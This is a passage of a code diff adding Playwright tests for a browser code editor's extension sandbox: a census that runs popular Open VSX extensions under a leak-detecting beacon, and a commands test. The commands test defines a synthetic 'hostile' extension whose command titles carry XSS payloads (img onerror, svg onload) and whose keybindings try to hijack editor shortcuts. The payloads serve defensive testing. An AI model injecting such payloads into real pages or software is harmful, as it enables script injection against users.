367+ if (await until(() => p2.evaluate(() => !!document.querySelector('#x2-open')), { timeout: 30000 })) await p2.keyboard.press('Escape');
368+ const rep2 = JSON.parse(await p2.evaluate(() => window.__r) || '[]');
369+ await sleep(1500);
370+ ok('control 1: sin la CSP del host de extensiones, el mismo canario SÍ llega a la baliza', beacon.leaks().length > before && rep2.some(r => r.channel === 'fetch-http' && r.outcome === 'ALLOWED'), `hits ${beacon.leaks().length - before}`);
371+ await b2.close();
372+ await open2.close();
373+}
374+
375+await beacon.close();
376+await srv.close();
377+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
378+process.exit(fails ? 1 : 0);
added tests/x2_census.mjs +278 −0
@@ -0,0 +1,278 @@
1+// Censo EN EJECUCIÓN del nivel 2 (manual, con red): de las N extensiones más
2+// descargadas de Open VSX, las que traen código para navegador se instalan y
3+// arrancan de verdad, una a una, en el recinto real, con la baliza escuchando.
4+//
5+// node tests/x2_census.mjs [--top 500] [--pause 1500] [--out web/js/ext2/tested.json]
6+// node tests/x2_census.mjs --only ns.name,ns.name [--merge]
7+// --only re-runs just those; with --merge their entries replace the ones
8+// in the existing output (and the counts are recomputed); without it,
9+// nothing is written
10+//
11+// Por cada una: baja el .vsix y comprueba su SHA-256 (falla cerrado), lo
12+// guarda como lo haría una instalación (con sus lenguajes, para que Code
13+// reconozca sus ficheros), espera a que el recinto esté en marcha, abre
14+// entonces un documento de muestra por lenguaje que aporte, lanza
15+// onStartupFinished, «*» y los onCommand de sus comandos (solo activa: no
16+// ejecuta ningún comando) y anota:
17+// · si arranca, o el error con el que no arranca;
18+// · qué comandos y proveedores registra (por tipo), y los de fase 2;
19+// · si pone diagnósticos;
20+// · lo que no está soportado (el comando «type», llamadas sin servicio).
21+// Cualquier visita a la baliza es un fallo del recinto. Salida: tested.json
22+// (por id@versión) y un resumen con recuentos. Sin tiempos.
23+// Los manifiestos y los .vsix se guardan en tests/.cache/ para repetir sin red.
24+import fs from 'node:fs';
25+import path from 'node:path';
26+import { fileURLToPath } from 'node:url';
27+import { chromium } from 'playwright';
28+import { startServer } from './lib/x2-server.mjs';
29+import { startBeacon } from './lib/beacon.mjs';
30+import { fetchVsix, readCode, seedReal } from './lib/x2-vsix.mjs';
31+import { readVsix, analyzeManifest } from '../web/js/ext/vsix.js';
32+
33+const HERE = path.dirname(fileURLToPath(import.meta.url));
34+const REPO = path.resolve(HERE, '..');
35+const API = 'https://open-vsx.org';
36+const arg = (k, d) => { const i = process.argv.indexOf(k); return i > 0 ? process.argv[i + 1] : d; };
37+const TOP = Number(arg('--top', 500));
38+const PAUSE = Number(arg('--pause', 1500));
39+const ONLY = arg('--only', '') ? new Set(arg('--only').toLowerCase().split(',')) : null;
40+const MERGE = process.argv.includes('--merge');
41+const OUT = path.resolve(arg('--out', path.join(REPO, 'web/js/ext2/tested.json')));
42+const CACHE = path.join(HERE, '.cache', 'census');
43+fs.mkdirSync(CACHE, { recursive: true });
44+const sleep = ms => new Promise(r => setTimeout(r, ms));
45+async function until(fn, { timeout = 20000, every = 250 } = {}) {
46+ const end = Date.now() + timeout;
47+ let v;
48+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
49+ return v;
50+}
51+async function getJson(url) {
52+ for (let attempt = 0; attempt < 3; attempt++) {
53+ const r = await fetch(url, { headers: { 'User-Agent': 'elffuss-code-census' } });
54+ if (r.status === 429) { await sleep(10000 * (attempt + 1)); continue; }
55+ if (!r.ok) throw Object.assign(new Error(`${url}: HTTP ${r.status}`), { status: r.status });
56+ return r.json();
57+ }
58+ throw new Error('rate limited: ' + url);
59+}
60+
61+// ── 1. las N más descargadas ──
62+const listFile = path.join(CACHE, `top-${TOP}.json`);
63+let top;
64+if (fs.existsSync(listFile)) top = JSON.parse(fs.readFileSync(listFile, 'utf8'));
65+else {
66+ top = [];
67+ for (let off = 0; off < TOP; off += 100) {
68+ const j = await getJson(`${API}/api/-/search?size=${Math.min(100, TOP - off)}&offset=${off}&sortBy=downloadCount&sortOrder=desc`);
69+ top.push(...j.extensions.map((e, i) => ({ rank: off + i + 1, namespace: e.namespace, name: e.name, version: e.version, downloads: e.downloadCount })));
70+ await sleep(PAUSE);
71+ }
72+ fs.writeFileSync(listFile, JSON.stringify({ date: new Date().toISOString().slice(0, 10), list: top }, null, 1));
73+ top = JSON.parse(fs.readFileSync(listFile, 'utf8'));
74+}
75+const listDate = top.date;
76+top = top.list;
77+
78+// ── 2. sus package.json (4 a la vez, con pausa), en caché ──
79+// Las extensiones por plataforma pueden publicar una compilación «web» para
80+// el navegador: si existe, es la que cuenta (y la que se instalaría).
81+async function manifestOf(e) {
82+ const file = path.join(CACHE, `${e.namespace}.${e.name}.json`);
83+ if (fs.existsSync(file)) {
84+ const c = JSON.parse(fs.readFileSync(file, 'utf8'));
85+ if (c.variant || c.targetPlatform === 'universal') return c;
86+ }
87+ const base = `${API}/api/${encodeURIComponent(e.namespace)}/${encodeURIComponent(e.name)}`;
88+ let meta = await getJson(base);
89+ let variant = (meta.targetPlatform || 'universal') === 'universal' ? 'universal' : 'platform';
90+ if (variant === 'platform' && meta.downloads && meta.downloads.web) {
91+ meta = await getJson(base + '/web');
92+ variant = 'web';
93+ }
94+ const manifest = meta.files?.manifest ? await getJson(meta.files.manifest) : null;
95+ const out = { version: meta.version, targetPlatform: meta.targetPlatform || 'universal', variant, license: meta.license || '', manifest };
96+ fs.writeFileSync(file, JSON.stringify(out));
97+ return out;
98+}
99+const withManifest = [];
100+for (let i = 0; i < top.length; i += 4) {
101+ const batch = top.slice(i, i + 4);
102+ const got = await Promise.all(batch.map(async e => { try { return { ...e, ...(await manifestOf(e)) }; } catch (err) { return { ...e, error: String(err.message || err) }; } }));
103+ withManifest.push(...got);
104+ if (got.some(g => !fs.existsSync(path.join(CACHE, `${g.namespace}.${g.name}.json`)))) await sleep(PAUSE);
105+}
106+const browserOnes = withManifest.filter(e => e.manifest && typeof e.manifest.browser === 'string' && (!ONLY || ONLY.has(`${e.namespace}.${e.name}`.toLowerCase())));
107+console.log(`top ${TOP} (${listDate}): ${withManifest.filter(e => e.manifest).length} manifests read, ${withManifest.filter(e => e.manifest && typeof e.manifest.browser === 'string').length} with a browser entry`);
108+
109+// ── 3. en ejecución, una a una ──
110+const SAMPLES = { javascript: 'js', typescript: 'ts', json: 'json', jsonc: 'jsonc', markdown: 'md', html: 'html', css: 'css', scss: 'scss', less: 'less', python: 'py',
111+ yaml: 'yaml', xml: 'xml', plaintext: 'txt', shellscript: 'sh', go: 'go', rust: 'rs', java: 'java', c: 'c', cpp: 'cpp', csharp: 'cs', php: 'php', ruby: 'rb', sql: 'sql',
112+ toml: 'toml', ini: 'ini', dockerfile: 'Dockerfile', makefile: 'Makefile', vue: 'vue', svelte: 'svelte', javascriptreact: 'jsx', typescriptreact: 'tsx', lua: 'lua', dart: 'dart' };
113+const SAMPLE_TEXT = 'hello world\n// TODO: check\nfoo bar\n';
114+const srv = await startServer();
115+const beacon = await startBeacon();
116+const browser = await chromium.launch({ args: [`--host-resolver-rules=${beacon.resolverRules}`] });
117+const vendor = JSON.parse(fs.readFileSync(path.join(REPO, 'web/js/ext2/vendor-manifest.json'), 'utf8'));
118+const results = {};
119+
120+for (const [k, e] of browserOnes.entries()) {
121+ const id = `${e.namespace}.${e.name}`.toLowerCase();
122+ const key = `${id}@${e.version}`;
123+ const r = { rank: e.rank, downloads: e.downloads };
124+ results[key] = r;
125+ const a = analyzeManifest(e.manifest);
126+ r.declarative = Object.fromEntries(Object.entries(a.applies).filter(([, n]) => n));
127+ r.workbench = Object.keys(e.manifest.contributes || {}).filter(c => ['views', 'viewsContainers', 'viewsWelcome', 'customEditors', 'notebooks', 'notebookRenderer', 'walkthroughs', 'debuggers', 'breakpoints', 'terminal', 'taskDefinitions', 'problemMatchers', 'authentication', 'chatParticipants', 'languageModelTools', 'mcpServerDefinitionProviders', 'resourceLabelFormatters'].includes(c));
128+ if (Array.isArray(e.manifest.enabledApiProposals) && e.manifest.enabledApiProposals.length) r.apiProposals = e.manifest.enabledApiProposals.length;
129+ // (sin nombrar la plataforma: solo si es la compilación web o una por plataforma)
130+ if (e.variant && e.variant !== 'universal') r.variant = e.variant;
131+ let pkg, lv;
132+ try {
133+ const v = await fetchVsix({ namespace: e.namespace, name: e.name, version: e.version, targetPlatform: e.variant === 'web' ? 'web' : '' });
134+ pkg = await readCode(v.bytes);
135+ lv = await readVsix(v.bytes).catch(() => null);
136+ } catch (err) {
137+ r.state = 'install-failed';
138+ // los topes de tamaño del nivel 2 (32 MiB por fichero, 64 MiB por extensión)
139+ r.error = err?.code === 'big' ? (/descomprime demasiado/.test(err.message) ? 'over the 64 MiB limit for one extension' : 'a file over the 32 MiB limit') : String(err.message || err).slice(0, 300);
140+ console.log(`${k + 1}/${browserOnes.length} ${key}: install failed (${r.error})`);
141+ continue;
142+ }
143+ r.bytes = pkg.bytes;
144+ const ctx = await browser.newContext();
145+ await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
146+ const page = await ctx.newPage();
147+ try {
148+ await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
149+ const langs = lv?.languages || [];
150+ const files = new Map([['sample.txt', SAMPLE_TEXT], ['sample.js', SAMPLE_TEXT]]);
151+ for (const l of langs) {
152+ const name = l.filenames?.[0] || (l.extensions?.[0] ? 'sample' + l.extensions[0] : null);
153+ if (name && /^[\w.+-]{1,60}$/.test(name)) files.set(name, SAMPLE_TEXT);
154+ }
155+ for (const ev of Array.isArray(e.manifest.activationEvents) ? e.manifest.activationEvents : []) {
156+ const m = /^onLanguage:(.+)$/.exec(ev);
157+ if (m && SAMPLES[m[1]]) files.set(/^[A-Z]/.test(SAMPLES[m[1]]) ? SAMPLES[m[1]] : 'sample.' + SAMPLES[m[1]], SAMPLE_TEXT);
158+ }
159+ await page.evaluate(async files => {
160+ const o = await navigator.storage.getDirectory();
161+ for (const [n, t] of files) { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); }
162+ }, [...files]);
163+ await seedReal(page, pkg, { languages: langs });
164+ await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
165+ await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
166+ // (una que el recinto rechaza —sustituye el tecleo— se queda fuera y, si era
167+ // la única, el recinto se desmonta: eso es «no soportada», no un fallo)
168+ const st = await until(() => page.evaluate(async id => {
169+ const b = await import('/js/ext2/bridge.js');
170+ const s = b.state();
171+ return s.state === 'running' || s.state === 'error' || s.extensions.some(x => x.id === id && x.state === 'unsupported') ? s : null;
172+ }, id), { timeout: 60000 });
173+ const refusedNow = st?.extensions?.find(x => x.id === id && x.state === 'unsupported');
174+ if (refusedNow) { r.state = 'unsupported'; r.unsupported = 'replaces typing'; r.error = (refusedNow.text || '').slice(0, 300); r.contributedCommands = (e.manifest.contributes?.commands || []).length; continue; }
175+ if (st?.state !== 'running') { r.state = 'sandbox-error'; r.error = st?.error?.message || 'no start'; continue; }
176+ // Los documentos de muestra se abren con el recinto YA en marcha, uno a
177+ // uno, como los abriría alguien: cada uno llega a las extensiones y
178+ // dispara su onLanguage. (Que las pestañas abiertas ANTES de arrancar
179+ // también lleguen lo prueba tests/x2_ux.mjs, X11.)
180+ for (const n of [...files.keys()].slice(0, 12)) await page.evaluate(async n => { await (await import('/js/ide.js')).openFile(n); }, n).catch(() => {});
181+ // Lo que la extensión le pregunte al usuario (avisos, diálogos, selectores,
182+ // abrir direcciones) se contesta como lo haría alguien con prisa: cerrar o
183+ // cancelar. Una extensión que espera esa respuesta para terminar de
184+ // arrancar arranca igual, y se cuenta qué pidió.
185+ await page.evaluate(() => {
186+ const c = window.__x2asked = { toasts: 0, dialogs: 0, picks: 0, opens: 0 };
187+ setInterval(() => {
188+ for (const x of document.querySelectorAll('#x2-toasts .x2-toast-close')) { c.toasts++; x.click(); }
189+ for (const [sel, k] of [['#x2-dialog', 'dialogs'], ['#x2-pick', 'picks'], ['#x2-input', 'picks'], ['#x2-open', 'opens']]) {
190+ const d = document.querySelector(sel);
191+ if (!d) continue;
192+ c[k]++;
193+ // (los selectores escuchan en su campo; los diálogos, en el documento)
194+ (d.querySelector('input') || d.querySelector('[role="dialog"]') || d).dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true }));
195+ }
196+ }, 300);
197+ });
198+ const events = ['onStartupFinished', '*', ...((e.manifest.contributes?.commands || []).map(c => c && typeof c.command === 'string' ? 'onCommand:' + c.command : null).filter(Boolean).slice(0, 50))];
199+ await page.evaluate(async events => { const b = await import('/js/ext2/bridge.js'); for (const ev of events) b.activate(ev); }, events);
200+ const ext = await until(async () => {
201+ const s = await page.evaluate(async () => (await import('/js/ext2/bridge.js')).state());
202+ const x = s.extensions.find(y => y.id === id);
203+ return x && ['active', 'error', 'unsupported', 'stopped'].includes(x.state) ? x : null;
204+ }, { timeout: 20000 });
205+ await sleep(2000);
206+ const stats = await page.evaluate(async () => (await import('/js/ext2/bridge.js')).stats());
207+ const finalState = (await page.evaluate(async () => (await import('/js/ext2/bridge.js')).state())).extensions.find(y => y.id === id);
208+ r.state = finalState?.state === 'active' || ext?.state === 'active' ? 'active' : finalState?.state || 'not-activated';
209+ if (finalState?.text) r.error = finalState.text.slice(0, 300);
210+ const xs = stats?.extensions?.[id];
211+ if (xs?.activationError) r.activation = 'failed';
212+ else if (xs && !xs.activated) r.activation = xs.started ? 'started, never finished' : 'no activation event fired';
213+ if (xs?.errors?.length && !r.error) r.error = xs.errors.join(' · ').slice(0, 300);
214+ if (process.env.X2_CENSUS_DEBUG) console.log(' commands:', JSON.stringify(stats?.commands?.slice(0, 12)), 'status:', JSON.stringify(xs));
215+ r.commands = stats?.commands?.length || 0;
216+ r.contributedCommands = (e.manifest.contributes?.commands || []).length;
217+ r.providers = stats?.providers || {};
218+ if (stats && Object.keys(stats.later || {}).length) r.later = stats.later;
219+ r.diagnostics = (stats?.markers || 0) > 0;
220+ if (stats?.unsupported?.length || finalState?.state === 'unsupported') r.unsupported = 'replaces typing';
221+ const unsupportedCalls = (stats?.errors || []).filter(t => /not supported/.test(t)).map(t => (/Unsupported: ([\w$.]+)/.exec(t) || [])[1]).filter(Boolean);
222+ if (unsupportedCalls.length) r.unsupportedCalls = [...new Set(unsupportedCalls)].slice(0, 10);
223+ const otherErrors = (stats?.errors || []).filter(t => !/not supported/.test(t));
224+ if (otherErrors.length) r.sandboxErrors = otherErrors.length;
225+ const asked = await page.evaluate(() => window.__x2asked || null).catch(() => null);
226+ if (asked && Object.values(asked).some(Boolean)) r.askedUser = Object.fromEntries(Object.entries(asked).filter(([, n]) => n));
227+ } catch (err) {
228+ r.state = r.state || 'census-error';
229+ r.error = String(err.message || err).slice(0, 300);
230+ } finally {
231+ await ctx.close().catch(() => {});
232+ const prov = Object.entries(r.providers || {}).map(([k2, n]) => `${k2}:${n}`).join(',');
233+ console.log(`${k + 1}/${browserOnes.length} ${key}: ${r.state}${r.error ? ' (' + r.error.slice(0, 80) + ')' : ''} commands ${r.commands ?? '-'}/${r.contributedCommands ?? '-'} ${prov}`);
234+ await sleep(PAUSE);
235+ }
236+}
237+
238+await browser.close();
239+const hits = beacon.hits.length;
240+await beacon.close();
241+await srv.close();
242+
243+// ── 4. resumen y tested.json ──
244+let merged = results;
245+let reruns = null;
246+if (ONLY && MERGE && fs.existsSync(OUT)) {
247+ const prev = JSON.parse(fs.readFileSync(OUT, 'utf8'));
248+ merged = { ...prev.results };
249+ for (const k of Object.keys(merged)) if (ONLY.has(k.split('@')[0])) delete merged[k];
250+ Object.assign(merged, results);
251+ reruns = [...(prev.reruns || []), { date: new Date().toISOString().slice(0, 10), ids: Object.keys(results) }];
252+}
253+const all = Object.values(merged);
254+const useful = x => x.state === 'active' && (x.commands > 0 || Object.keys(x.providers || {}).length > 0 || x.diagnostics);
255+const counts = {
256+ topN: TOP, listDate, browserEntry: all.length,
257+ installed: all.filter(x => x.state !== 'install-failed').length,
258+ active: all.filter(x => x.state === 'active').length,
259+ activeAndUseful: all.filter(useful).length,
260+ activeNothingRegistered: all.filter(x => x.state === 'active' && !useful(x)).length,
261+ error: all.filter(x => x.state === 'error').length,
262+ notActivated: all.filter(x => ['installed', 'not-activated'].includes(x.state)).length,
263+ unsupported: all.filter(x => x.state === 'unsupported' || x.unsupported).length,
264+ installFailed: all.filter(x => x.state === 'install-failed').length,
265+ sandboxOrCensusError: all.filter(x => ['sandbox-error', 'census-error'].includes(x.state)).length,
266+ withWorkbenchContributions: all.filter(x => x.workbench?.length).length,
267+ withFormatter: all.filter(x => x.state === 'active' && (x.providers?.format || x.providers?.formatRange)).length,
268+ beaconHits: hits,
269+};
270+const out = {
271+ schema: 1, date: new Date().toISOString().slice(0, 10), vscode: vendor.vscode, library: vendor.library, buildId: vendor.buildId,
272+ method: `Runtime census: the top ${TOP} Open VSX extensions by downloads (list of ${listDate}) that have a browser entry, each installed from its verified .vsix and started alone in the real sandbox; once the sandbox ran, one sample document per language was opened; activation events fired: those documents' languages, onStartupFinished, * and onCommand for each contributed command (no command was executed).`,
273+ counts, ...(reruns ? { reruns } : {}), results: merged,
274+};
275+if (!ONLY || MERGE) fs.writeFileSync(OUT, JSON.stringify(out, null, 1) + '\n');
276+console.log('\n' + JSON.stringify(counts, null, 1));
277+if (hits) console.log(`\n❌ the beacon recorded ${hits} hits: a sandbox leak`);
278+process.exit(hits ? 1 : 0);
added tests/x2_commands.mjs +335 −0
@@ -0,0 +1,335 @@
1+// Commands of a real web extension in Code, and Code's own shortcuts beside it.
2+//
3+// node tests/x2_commands.mjs (own server; without the pinned .vsix
4+// in tests/.cache and no network: NOT RUN)
5+//
6+// Tyriar.sort-lines 1.12.0 (pinned, SHA-256 checked) is installed with its code
7+// through Code's own install path for a .vsix file, next to "hostile", a
8+// synthetic extension built here whose command titles are HTML and whose
9+// keybindings ask for Code's and the browser's chords and for sort-lines' F9.
10+//
11+// K1 both install with their code and the sandbox runs them
12+// K2 Code's palette (Cmd+Shift+P, ">"): sort-lines' commands with its
13+// name; choosing one sorts the selection
14+// K3 F1 (Monaco's command list): the same commands; running one works
15+// K4 F9 with the editor focused sorts the selection: one undo step, the
16+// tab shows unsaved changes, Cmd+S writes the file to the project
17+// K5 the editor's context menu carries the command sort-lines puts there
18+// K6 hostile's chords for Cmd+P, Cmd+Shift+P, Ctrl+`, Cmd+S, F1,
19+// Cmd+Shift+O and Cmd+W are not bound, and its F9 loses to sort-lines;
20+// the Extensions panel lists each with the reason
21+// K7 with both running, Cmd+P, Cmd+Shift+P, Ctrl+`, "@" in the palette,
22+// Cmd+Shift+O and Cmd+S do exactly what they do with no extension
23+// (the same steps in a profile without extensions)
24+// K8 hostile titles stay text in the palette, F1, the context menu and the
25+// panel: no element is created and no handler runs
26+// K9 the beacon gets nothing, the sandbox site only its two documents, no
27+// page errors
28+import { chromium } from 'playwright';
29+import { startServer } from './lib/x2-server.mjs';
30+import { startBeacon } from './lib/beacon.mjs';
31+import { fetchVsix, PINNED } from './lib/x2-vsix.mjs';
32+import { zip } from './ext_fixtures.mjs';
33+
34+let fails = 0;
35+const ok = (name, c, extra = '') => { console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
36+const sleep = ms => new Promise(r => setTimeout(r, ms));
37+async function until(fn, { timeout = 20000, every = 150 } = {}) {
38+ const end = Date.now() + timeout;
39+ let v;
40+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
41+ return v;
42+}
43+const MOD = process.platform === 'darwin' ? 'Meta' : 'Control';
44+
45+let sortLines;
46+try { sortLines = (await fetchVsix({ ...PINNED.find(p => p.name === 'sort-lines'), offline: process.env.X2_OFFLINE === '1' })).bytes; }
47+catch (e) { console.log(`⏭️ NOT RUN x2_commands — Tyriar.sort-lines@1.12.0: ${e.message}`); process.exit(0); }
48+
49+// «hostile»: títulos con HTML y atajos que no le tocan
50+const EVIL_TITLE = '<img src=x onerror="window.__pwned=1">Hostile <b>title</b>';
51+const hostile = zip(Object.entries({
52+ 'extension/package.json': JSON.stringify({
53+ name: 'hostile', publisher: 'elffuss-test', version: '1.0.0', displayName: 'Hostile <i>name</i>', license: 'MIT',
54+ engines: { vscode: '^1.80.0' }, browser: './extension.js', activationEvents: [],
55+ contributes: {
56+ commands: [
57+ { command: 'hostile.run', title: EVIL_TITLE, category: '<svg onload="window.__pwned=2">X2' },
58+ { command: 'hostile.alt', title: 'Hostile alt' },
59+ { command: 'hostile.count', title: 'Hostile count' },
60+ ],
61+ menus: { 'editor/context': [{ command: 'hostile.run', group: 'z_hostile' }] },
62+ keybindings: [
63+ ['cmd+p', 'ctrl+p'], ['cmd+shift+p', 'ctrl+shift+p'], ['ctrl+`', 'ctrl+`'], ['cmd+s', 'ctrl+s'], ['f1', 'f1'],
64+ ['cmd+shift+o', 'ctrl+shift+o'], ['cmd+w', 'ctrl+w'], ['f9', 'f9'],
65+ ].map(([mac, key]) => ({ command: 'hostile.run', key, mac }))
66+ .concat([{ command: 'hostile.alt', key: 'alt+f9', when: 'editorTextFocus' }]),
67+ },
68+ }),
69+ 'extension/extension.js': `const vscode = require('vscode');
70+exports.activate = c => {
71+ c.subscriptions.push(vscode.commands.registerCommand('hostile.run', () => { globalThis.__hostileRan = (globalThis.__hostileRan || 0) + 1; return 'hostile ran'; }));
72+ c.subscriptions.push(vscode.commands.registerCommand('hostile.count', () => String(globalThis.__hostileRan || 0)));
73+ c.subscriptions.push(vscode.commands.registerCommand('hostile.alt', async () => {
74+ const ed = vscode.window.activeTextEditor;
75+ if (ed) await ed.edit(b => b.insert(new vscode.Position(0, 0), 'ALT '));
76+ return 'alt';
77+ }));
78+};
79+`,
80+}));
81+
82+const srv = await startServer();
83+const beacon = await startBeacon();
84+const browser = await chromium.launch({ args: [`--host-resolver-rules=${beacon.resolverRules}`] });
85+const errors = [];
86+
87+async function profile() {
88+ const ctx = await browser.newContext({ viewport: { width: 1280, height: 860 } });
89+ await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
90+ const page = await ctx.newPage();
91+ page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(e.message); });
92+ page.on('dialog', d => d.dismiss());
93+ await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
94+ await page.evaluate(async () => {
95+ const o = await navigator.storage.getDirectory();
96+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
97+ await w('fruits.txt', 'pear\napple\nfig\n');
98+ await w('app.js', 'function zeta() {}\nfunction alpha() {}\nclass Beta { gamma() {} }\n');
99+ });
100+ return { ctx, page };
101+}
102+const openIde = async page => {
103+ await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
104+ await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
105+};
106+const open = (page, p) => page.evaluate(async p => { await (await import('/js/ide.js')).openFile(p); }, p);
107+const value = page => page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getValue());
108+const setValue = (page, v) => page.evaluate(v => window.monaco.editor.getEditors()[0].getModel().setValue(v), v);
109+const select = (page, a, b, c, d) => page.evaluate(([a, b, c, d]) => { const ed = window.monaco.editor.getEditors()[0]; ed.setSelection({ startLineNumber: a, startColumn: b, endLineNumber: c, endColumn: d }); ed.focus(); }, [a, b, c, d]);
110+const readOpfs = (page, name) => page.evaluate(async n => { const o = await navigator.storage.getDirectory(); return (await (await o.getFileHandle(n)).getFile()).text(); }, name);
111+const dirty = page => page.evaluate(() => document.querySelector('#tabs-bar .tab.active .tab-x')?.classList.contains('dirty') || false);
112+const bridgeState = page => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state());
113+const focusEditor = async page => { await page.evaluate(() => window.monaco.editor.getEditors()[0].focus()); await sleep(100); };
114+async function installFile(page, name, bytes) {
115+ return page.evaluate(async ({ name, b64 }) => {
116+ const bin = atob(b64);
117+ const u8 = new Uint8Array(bin.length);
118+ for (let i = 0; i < bin.length; i++) u8[i] = bin.charCodeAt(i);
119+ const h = await (await import('/js/ide.js')).loadExt();
120+ return (await h.install(new File([u8], name), { withCode: true })).id;
121+ }, { name, b64: Buffer.from(bytes).toString('base64') });
122+}
123+const closeOverlays = async page => {
124+ await page.keyboard.press('Escape');
125+ await page.evaluate(() => { const p = document.getElementById('palette'); if (p) p.hidden = true; });
126+ await sleep(150);
127+};
128+
129+// K7: lo que hacen los atajos de Code, igual con extensiones que sin ellas
130+async function shortcuts(page) {
131+ const out = {};
132+ await open(page, 'app.js');
133+ await focusEditor(page);
134+ await page.keyboard.press(`${MOD}+KeyP`);
135+ out.cmdP = await until(() => page.evaluate(() => { const p = document.getElementById('palette'); return p && !p.hidden ? { open: true, value: document.getElementById('pal-input').value } : null; }), { timeout: 5000 });
136+ await closeOverlays(page);
137+ await focusEditor(page);
138+ await page.keyboard.press(`${MOD}+Shift+KeyP`);
139+ out.cmdShiftP = await until(() => page.evaluate(() => { const p = document.getElementById('palette'); return p && !p.hidden ? { open: true, value: document.getElementById('pal-input').value } : null; }), { timeout: 5000 });
140+ await closeOverlays(page);
141+ await focusEditor(page);
142+ const termBefore = await page.evaluate(() => document.getElementById('terminal-panel').hidden);
143+ await page.keyboard.press('Control+Backquote');
144+ const termAfter = await until(() => page.evaluate(b => (document.getElementById('terminal-panel').hidden !== b ? String(document.getElementById('terminal-panel').hidden) : null), termBefore), { timeout: 5000 });
145+ out.ctrlBackquote = { before: termBefore, after: termAfter };
146+ await page.evaluate(() => { const t = document.getElementById('terminal-panel'); if (!t.hidden) document.getElementById('act-term')?.click(); });
147+ await sleep(200);
148+ // «@» en la paleta → Ir a símbolo (quickOutline de Monaco)
149+ await focusEditor(page);
150+ await page.keyboard.press(`${MOD}+KeyP`);
151+ await page.waitForSelector('#palette:not([hidden])');
152+ await page.fill('#pal-input', '@');
153+ await sleep(200);
154+ out.atRows = await page.evaluate(() => [...document.querySelectorAll('#palette .pal-item .pi-hint')].map(x => x.textContent));
155+ await page.keyboard.press('Enter');
156+ out.atOutline = await until(() => page.evaluate(() => {
157+ const w = document.querySelector('.quick-input-widget');
158+ if (!w || w.style.display === 'none') return null;
159+ const names = [...w.querySelectorAll('.monaco-list-row .label-name')].map(x => x.textContent.trim()).filter(Boolean);
160+ return names.length ? names.sort() : null;
161+ }), { timeout: 8000 });
162+ await page.keyboard.press('Escape');
163+ await sleep(200);
164+ await focusEditor(page);
165+ await page.keyboard.press(`${MOD}+Shift+KeyO`);
166+ out.cmdShiftO = await until(() => page.evaluate(() => {
167+ const w = document.querySelector('.quick-input-widget');
168+ if (!w || w.style.display === 'none') return null;
169+ const names = [...w.querySelectorAll('.monaco-list-row .label-name')].map(x => x.textContent.trim()).filter(Boolean);
170+ return names.length ? names.sort() : null;
171+ }), { timeout: 8000 });
172+ await page.keyboard.press('Escape');
173+ await sleep(200);
174+ // Cmd+S guarda
175+ await open(page, 'fruits.txt');
176+ await setValue(page, 'saved-by-shortcut\n');
177+ await focusEditor(page);
178+ await page.keyboard.press(`${MOD}+KeyS`);
179+ out.cmdS = await until(async () => ((await readOpfs(page, 'fruits.txt')) === 'saved-by-shortcut\n' && !(await dirty(page)) ? 'saved' : null), { timeout: 5000 });
180+ await setValue(page, 'pear\napple\nfig\n');
181+ await page.keyboard.press(`${MOD}+KeyS`);
182+ await until(async () => (await readOpfs(page, 'fruits.txt')) === 'pear\napple\nfig\n', { timeout: 5000 });
183+ return out;
184+}
185+
186+// ── sin extensiones: la referencia ──
187+const plain = await profile();
188+await openIde(plain.page);
189+const ref = await shortcuts(plain.page);
190+await plain.ctx.close();
191+
192+// ── K1: sort-lines y hostile, con su código ──
193+const { ctx, page } = await profile();
194+await openIde(page);
195+const idSort = await installFile(page, 'sort-lines.vsix', sortLines);
196+const idHostile = await installFile(page, 'hostile.vsix', hostile);
197+const st = await until(async () => { const s = await bridgeState(page); return s.state === 'running' && s.commands.length >= 17 ? s : null; }, { timeout: 90000 });
198+ok('K1 sort-lines and hostile install with their code; the sandbox runs them', !!st && idSort === 'tyriar.sort-lines' && idHostile === 'elffuss-test.hostile',
199+ JSON.stringify({ state: st?.state, commands: st?.commands?.length, ids: [idSort, idHostile] }));
200+
201+// ── K2: la paleta de Code ──
202+await open(page, 'fruits.txt');
203+await select(page, 1, 1, 3, 4);
204+await page.keyboard.press(`${MOD}+Shift+KeyP`);
205+await page.waitForSelector('#palette:not([hidden])');
206+await page.fill('#pal-input', '>sort lines (descending, case');
207+const palRows = await until(() => page.evaluate(() => {
208+ const rows = [...document.querySelectorAll('#palette .pal-item')].map(r => ({ name: r.querySelector('.pi-name').textContent, hint: r.querySelector('.pi-hint').textContent }));
209+ return rows.length ? rows : null;
210+}));
211+ok('K2 Code’s palette lists sort-lines’ command, with the extension’s name', !!palRows && palRows.some(r => r.name === 'Sort lines (descending, case sensitive)' && r.hint === 'Sort lines'), JSON.stringify(palRows));
212+await page.keyboard.press('Enter');
213+ok('K2 choosing it sorts the selection (descending)', !!(await until(async () => (await value(page)) === 'pear\nfig\napple\n')), JSON.stringify(await value(page)));
214+
215+// ── K3: F1 ──
216+await setValue(page, 'pear\napple\nfig\n');
217+await select(page, 1, 1, 3, 4);
218+await page.keyboard.press('F1');
